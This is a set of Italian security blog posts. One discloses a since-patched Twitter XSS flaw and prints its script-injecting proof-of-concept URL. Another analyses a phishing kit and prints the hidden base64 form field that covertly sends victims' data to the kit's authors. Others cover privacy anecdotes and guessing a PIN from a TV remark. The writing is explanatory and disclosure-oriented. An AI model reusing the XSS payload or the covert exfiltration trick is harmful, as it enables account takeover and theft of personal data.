Twitter horror

Non nutro una particolare simpatia per i social network più famosi, preferisco occuparmi delle implicazioni che possono portare in ambito di privacy e web security. Twitter è una piccola eccezione: mi piace perchè è immediato e semplice.

Twitter, come altri social network, è stato bersaglio di problemi di sicurezza nel corso del tempo. Recentemente ho notato, insieme a Rosario Valotta, un problema di sicurezza che poteva permettere ad un attaccante di prendere il pieno controllo di un account tramite il click su di un link da parte della vittima.

Più nel dettaglio il problema era relativo alla validazione dei parametri della query string: a causa di alcuni caratteri Unicode non correttamenti gestiti dall’applicazione e dall’output del nome del paramentro senza encoding era possibile far scattare un XSS richiamando una URL di questo genere:

http://twitter.com/testxss?<script>alert(‘xss’)</script>=%A2

Il problema della validazione dei caratteri unicode su Ruby On Rails, framework sul quale Twitter è basato, è stato risolto a Settembre 2009. Niente di nuovo, anche se non eravamo a conoscenza dell’articolo prima di fare indagini sulla vulnerabilità trovata. E’ buffo che nei primi giorni di Settembre, Brian Mastenbrook (a cui vanno i crediti per il problema degli Unicode su RoR), sul suo blog ha dichiarato:

After a few days of not receiving a response from either vendor, I decided to ping both of them to get an update. I pinged a security researcher who I knew worked at Twitter, and after a little back and forth things were quickly resolved and Twitter was patched.

Probabilmente hanno installato la patch senza fare code review dell’intero software o perlomeno delle funzioni utilizzate per la validazione dell’output.

L’XSS sul dominio twitter.com permetteva il pieno controllo dell’account della vittima al solo click di un link presente in un twit . Una falla innocente, come viene classificato l’XSS, in questo caso poteva innescare una infezione virale proprio per la natura su cui si basano i social network.
Tecniche come identity stealing, malware distribution e spam sarebbero state immediate.

Il video seguente dimostra in azione la vulnerabilità sfruttata da un JavaScript di poche righe scritto in qualche minuto:

Twitter dovrebbe curarsi maggiormente della sicurezza dei propri utenti, ed essi dovrebbero avere maggiore cura delle informazioni personali che pubblicano nel World Wide Web.

Disclosure:

  • 27 Ottobre: trovata la vulnerabilità
  • 28 ottobre:  Twitter avvisato del problema
  • 3 Novembre: Twitter riconosce il problema nella advisory di Brian Mastenbrook (ma non era già stata installata la patch?)
  • 10 Novembre: Twitter corregge la pagina di errore togliendo l’output del nome del paramentro
 

Crittoanalisi alternativa

Security

Se gli attacchi di crittoanalisi matematica non funzionano, rimane sempre il metodo Rubber-hose.

 

Privacy? Questione di numeri

Dices

Difficile non aver sentito parlare di Social network negli ultimi tempi. Perfino telegiornali e quotidiani ne stanno parlando. Il fenomeno Facebook è esploso: oltre 100 milioni di iscritti totali e circa due milioni e mezzo italiani. Tra i numeri bisogna intravedere anche account doppioni o abbandonati, ma restano comunque numeri di tutto riguardo. Bello rimanere in contatto con gli amici, sempre, in ogni momento. Bello poter contattare amici ora lontani con un solo click.

Un dipendente di una compagnia telefonica Australiana di 21 anni chiama in ufficio per annunciare la sua indisposizione non prima di aver scritto sul proprio profilo di Facebook: “Kyle Doyle is not going to work, fuc* it i’m still trashed. SICKIE WOO!” (ndr. Kyle Doylenon andrà al lavoro… Sono ancora devastato. VIVA LA MALATTIA!”). Per sua sfortuna, il suo capo letta la frase dal feed dei contatti di Facebook, non ha fatto altro che chiedergli il certificato per giustificare l’assenza. Ammesso che sia una bufala è così lontano da essere reale?

Andrea Feick e Hannah Emerson, due studentesse sconosciute ma con la passione per Facebook, lo scorso mese, sono state in compagnia di Bono degli U2 in Costa Azzurra. Le due ragazze, aspiranti modelle, hanno inserito le foto della gita su Facebook: dopo il Nikki Beach Bar la compagnia si è spostata sul “Cyan”, lo yacht da 12 milioni di sterline di proprietà del chitarrista degli U2, The Edge per finire all’Oxybar di Saint Tropez. Il tutto per vantarsene con la piccola cerchia di amici, se non era per l’iscrizione di Andrea Feick al gruppo geografico di New York. Circa un milione di persone che possono accedere al suo profilo e alle sue fotografie. Non credo che la moglie di Bono sia così entusiasta delle fotografie viste sul Daily Mail.

Sicuri del numero di amici che avete e di chi siano realmente?
Per non parlare poi delle vulnerabilità dell’applicazione del social network stesso.

 

Il valore delle informazioni

Su Effetto Sabato (Rai Uno), sabato pomeriggio, è stato trasmesso un servizio sulla capacità, per un essere umano, di memorizzare informazioni. E’ intervenuto a tal proposito il professore Roberto Vacca ingegnere, scrittore e divulgatore scientifico italiano.

Discutendo con Elisa Isoardi, Roberto Vacca ha portato un esempio pratico a testimonianza delle proprie teorie e ha dichiarato :

Tutti i numeri sono come degli amici.
Quando mi hanno dato il PIN del Bancomat, mi hanno detto: lo tenga da parte e non lo perda.
Io L’ho guardato, l’ho preso e l’ho buttato. L’impiegata: come fa adesso a ricordarsela?
E’ una potenza del 2!

Roberto Vacca ha tranquillizzato la conduttrice preoccupata per l’integrità del PIN con:

Non si preoccupi…le potenze del 2 sono infinite!

Le potenze del 2 sono infinite, ma il codice PIN dei Bancomat, in Italia, è sempre di 5 cifre.
Avendo sottomano una tabella con le prime potenze del 2, si può vedere come solamente 3 di esse sono formate da 5 cifre: 16384, 32768 e 65536.

Se la fortuna non è dalla nostra parte saremmo comunque in grado di trovare il PIN giusto: lo sportello ATM ritira la tessera magnetica solamente dopo il terzo tentativo errato.

Per i malpensanti: possibile che tra 1.276.000 spettatori stimati (dati Auditel) abbia notato solamente io questa informazione? Sicuri che tra le altre persone che lo hanno notato non vi sia nessuno che ci tiene a non farlo sapere?

Ho contattato il prof. Roberto Vacca in merito all’accaduto: una persona veramente disponibile e gentile!
Come era ovvio pensare il professore si rendeva ben conto di ciò che stava dicendo: il PIN è stato sostituito un anno or sono.

E’ importante valutare il valore delle informazioni che ogni giorno forniamo. Non è detto che ciò che per noi è insignificante lo sia anche per il nostro interlocutore!

Ringrazio Davide Maggio per la registrazione della trasmissione.

 

L’equo compenso dei Phisher

Custom PHP scam scriptPremetto subito che la notizia non è nuova, credo però, che sia degna di nota.

Un gruppo che si fa chiamare Mr-Brain ha rilasciato dei tool, scritti in PHP, utili a chi vuole cimentarsi in truffe a mezzo phishing. Il sito Web del gruppo offre versioni diverse degli script in base al servizio da “impersonare”: eBay, PayPal, Bank of America, ecc..

I tool sono stati scritti in modo da permetterne l’uso a chi di PHP non ne sa niente: è necessario solamente inserire la propria e-mail per ricevere i dati sensibili inseriti da ogni vittima.

I tool-kit possono essere scaricati senza sborsare denaro. Quest’ultima caratteristica e l’immediatezza d’uso hanno permesso una larga diffusione nel mondo di phisher in erba, tanto che ne erano già state individuate tracce all’inizio dell’anno.

Chi pensa che i ragazzi di Mr-Brain hanno rilasciato questi script solo per la gloria o per il gusto di sapere che verranno usati per colpire utenti non molto smaliziati sbaglia di grosso. L’idea, simpatica, degli autori è quella di prendersi un equo compenso da ogni copia usata un po come fa la cara e vecchia SIAE.

Questa è la parte di codice che si occupa della raccolta di tutti i dati inseriti dalla vittima per poi inviarli via mail:

Double mail function

Notate niente di strano?

La funzione mail() è ripetuta due volte utilizzando due nomi variabili diversi, anche se solo per la prima lettera.
Il valore della prima variabile, quella con la “s” minuscola è definibile dal phiser, mentre il valore della seconda variabile, quella con la “S” maiuscola, è settato tramite un campo del form di raccolta dati. il valore di tale campo è stato offuscato codificandolo in base64:

<input type=”hidden” name=”Send” value=”<?=base64_decode(“TXItQnJhaW5ARXZpbC1CcmFpbi5OZXQ=”);?>”>

In questo modo, i dati della vittima, oltre ad essere inoltrati a chi ha personalizzato lo script con la propria e-mail, verranno sempre inviati anche a un indirizzo di proprietà del gruppo Mr-Brain.
Che dire? Forse l’esperienza conta sempre.